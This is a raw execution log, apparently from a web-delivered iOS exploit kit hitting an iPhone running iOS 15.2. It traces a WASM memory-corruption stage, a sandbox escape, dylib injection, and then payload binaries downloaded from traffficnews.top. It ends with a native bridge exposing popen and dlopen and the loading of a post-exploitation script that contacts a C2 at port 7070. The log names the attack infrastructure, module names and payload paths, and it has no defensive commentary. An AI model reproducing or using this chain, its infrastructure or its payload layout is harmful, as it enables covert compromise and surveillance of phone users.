---

[13:44:47.580] Load 57620206d62079baad0e57e6d9ec93120c0f5247

[13:44:47.581] Load 14669ca3b1519ba2a8f40be287f646d4d7593eb0

[13:44:47.582] resolveUrl => https://traffficnews.top/7a7d99099b035b2c6512b6ebeeea6df1ede70fbb.min.js

[13:44:47.595] [LOADER] === Exploit chain starting ===

[13:44:47.596] [LOADER] Platform: iPhone, UA: Mozilla/5.0 (iPhone; CPU iPhone OS 15_2 like Mac OS X) AppleWebKit/605.1.15 (KHT...

[13:44:47.597] [PLATFORM] iOS version detected: 150200

[13:44:47.640] [LOADER] Selecting stage1 variant for offsets: JtEUci=undefined, KeCRDQ=false, ShQCsB=false, RbKS6p=true, mmrZ0r=false

[13:44:47.640] [LOADER] Loading module: Stage1_15.2_15.5_jacurutu...

[13:44:47.641] Loading Stage1_15.2_15.5_jacurutu.js

[13:44:47.699] [LOADER] Stage1 module loaded, executing WASM primitive exploit...

[13:44:47.699] [LOADER] Stage1 attempt 1/20...

[13:44:47.813] [LOADER] Stage1 succeeded on attempt 1

[13:44:47.813] [LOADER] Stage1 complete — WASM read/write primitives active

[13:44:47.824] [PLATFORM] Runtime: PSNMWj, JSC base: 0x8e711000

[13:44:47.824] [RUNTIME] JSC runtime detected: PAC=false

[13:44:47.824] [STAGE3] Loading sandbox escape variant B...

[13:44:47.824] [LOADER] Loading module: Stage3_VariantB...

[13:44:47.824] Loading Stage3_VariantB.js

[13:44:47.896] Done ba712ef6c1bf20758e69ab945d2cdfd51e53dcd8

[13:44:47.897] Done b5135768e043d1b362977b8ba9bff678b9946bcb

[13:44:47.924] [PLATFORM] Creating image list from JSC base address...

[13:44:47.981] resolveUrl => https://traffficnews.top/7a7d99099b035b2c6512b6ebeeea6df1ede70fbb.min.js

[13:44:47.981] resolveUrl => https://traffficnews.top/

[13:44:48.043] [PATCH] Loaded bootstrap.dylib: 89328B, oA=44664 (orig 45056), _process=0x68d8

[13:44:48.051] [PATCH] _process at original offset 0x68d8, no redirect needed

[13:44:48.051] dylib load address: 0xf9e571000

[13:44:48.051] data address?: 0x302b54000

[13:44:48.051] dylib size: 0x121104

[13:44:48.061] [STAGE3] Sandbox escape completed. _sbx0_success=true, _sbx1_success=true, _sbx_pe_ran=true.

[13:44:48.061] [STAGE3] NOTE: nativeBridge still pending (requires bootstrap.dylib JSC injection). Native commands will return [ERROR-no-bridge].

[13:44:48.101] [STAGE3] Exposed primitives to window._corunaPrimitives (caller/machOParser/exploitPrimitive/Int64, imageList=ok). nativeBridge can now be built.

[13:44:48.101] [STAGE3] Sandbox escape result: 0

[13:44:48.101] [LOADER] Cleaning up exploit primitives...

[13:44:48.102] [LOADER] === Exploit chain finished — result: 0 | total=507ms ===

[13:44:48.102] [LOADER] Reporting result: 0

[13:44:48.105] [LOADER] Fetching nb_daemon.dylib binary blob...

[13:44:48.107] [LOADER] Auto-continue: loading metadata & payloads (no confirmation dialog).

[13:44:48.107] [LOADER] Loading payload: 7a7d99099b035b2c6512b6ebeeea6df1ede70fbb

[13:44:48.108] Downloading payloads/manifest.json -> https://traffficnews.top/payloads/manifest.json

[13:44:48.170] Downloaded payloads/manifest.json OK (sync, 12825B)

[13:44:48.170] Downloading payloads/7a7d99099b035b2c6512b6ebeeea6df1ede70fbb/raw.bin -> https://traffficnews.top/payloads/7a7d99099b035b2c6512b6ebeeea6df1ede70fbb/raw.bin

[13:44:48.223] Downloaded payloads/7a7d99099b035b2c6512b6ebeeea6df1ede70fbb/raw.bin OK (sync, 2192B)

[13:44:48.223] [LOADER] Fed 2192 bytes for 7a7d99099b035b2c6512b6ebeeea6df1ede70fbb

[13:44:48.235] [LOADER] nb_daemon.dylib fetched — size=86672 bytes. native_bridge will write it to /tmp and dlopen via powerd.

[13:44:48.236] [LOADER] Loading native_bridge.js (building window.nativeBridge from _corunaPrimitives)...

[13:44:48.236] [LOADER] Loading payload: 38af3c8ba461079a0edc83585023f76843066dcf

[13:44:48.237] Downloading payloads/38af3c8ba461079a0edc83585023f76843066dcf/entry0_type0x08.dylib -> https://traffficnews.top/payloads/38af3c8ba461079a0edc83585023f76843066dcf/entry0_type0x08.dylib

[13:44:48.298] Downloaded payloads/38af3c8ba461079a0edc83585023f76843066dcf/entry0_type0x08.dylib OK (sync, 196864B)

[13:44:48.298] Downloading payloads/38af3c8ba461079a0edc83585023f76843066dcf/entry1_type0x09.dylib -> https://traffficnews.top/payloads/38af3c8ba461079a0edc83585023f76843066dcf/entry1_type0x09.dylib

[13:44:48.358] Downloaded payloads/38af3c8ba461079a0edc83585023f76843066dcf/entry1_type0x09.dylib OK (sync, 284048B)

[13:44:48.358] Downloading payloads/38af3c8ba461079a0edc83585023f76843066dcf/entry2_type0x0f.dylib -> https://traffficnews.top/payloads/38af3c8ba461079a0edc83585023f76843066dcf/entry2_type0x0f.dylib

[13:44:48.417] Downloaded payloads/38af3c8ba461079a0edc83585023f76843066dcf/entry2_type0x0f.dylib OK (sync, 192096B)

[13:44:48.417] Downloading payloads/38af3c8ba461079a0edc83585023f76843066dcf/entry3_type0x07.bin -> https://traffficnews.top/payloads/38af3c8ba461079a0edc83585023f76843066dcf/entry3_type0x07.bin

[13:44:48.469] Downloaded payloads/38af3c8ba461079a0edc83585023f76843066dcf/entry3_type0x07.bin OK (sync, 49B)

[13:44:48.469] Downloading payloads/38af3c8ba461079a0edc83585023f76843066dcf/entry4_type0x07.bin -> https://traffficnews.top/payloads/38af3c8ba461079a0edc83585023f76843066dcf/entry4_type0x07.bin

[13:44:48.526] Downloaded payloads/38af3c8ba461079a0edc83585023f76843066dcf/entry4_type0x07.bin OK (sync, 468B)

[13:44:48.529] [LOADER] Built F00DBEEF container: 5 entries, 673613 bytes

[13:44:48.540] [LOADER] Fed 673613 bytes for 38af3c8ba461079a0edc83585023f76843066dcf

[13:44:49.527] [13:44:49.526][NATIVE-BRIDGE] Symbols resolved: open,read,write,close,malloc,free,memcpy,memset,strdup,opendir,readdir,closedir,popen,pclose,fread,strlen,getpid,dlopen,dlclose,unlink,rename (count=21/20) | imageList=Kh | 964ms

[13:44:49.527] [13:44:49.527][NATIVE-BRIDGE] MEM allocated via MetaAllocator: 0xf9e4fe1a0 | 0ms

[13:44:49.527] [13:44:49.527][NATIVE-BRIDGE] Self-test getpid() raw=1293 num=1293 MEM=0xf9e4fe1a0

[13:44:49.528] [13:44:49.528][NATIVE-BRIDGE] Self-test PASS: getpid()=1293 — bridge enabled

[13:44:49.528] [13:44:49.528][NATIVE-BRIDGE] Buffers: ARG=0xf9e4fe1a0 READ=0xf9e5061a0

[13:44:49.528] [13:44:49.528][NATIVE-BRIDGE] IPC daemon init disabled — using in-process mode (callNative direct)

[13:44:49.528] [13:44:49.528][NATIVE-BRIDGE] READY. nativeBridge enabled (pid=1293, symbols=21, MEM=ok, imageList=Kh, ipc=in-process-only). post_exploit native commands will now work.

[13:44:49.528] [LOADER] native_bridge.js loaded — nativeBridge=true | 1292ms

[13:44:49.529] [LOADER] Loading post_exploit.js (C2=traffficnews.top:7070, UUID=ios-ed9d496c86165ed2a5cac844)...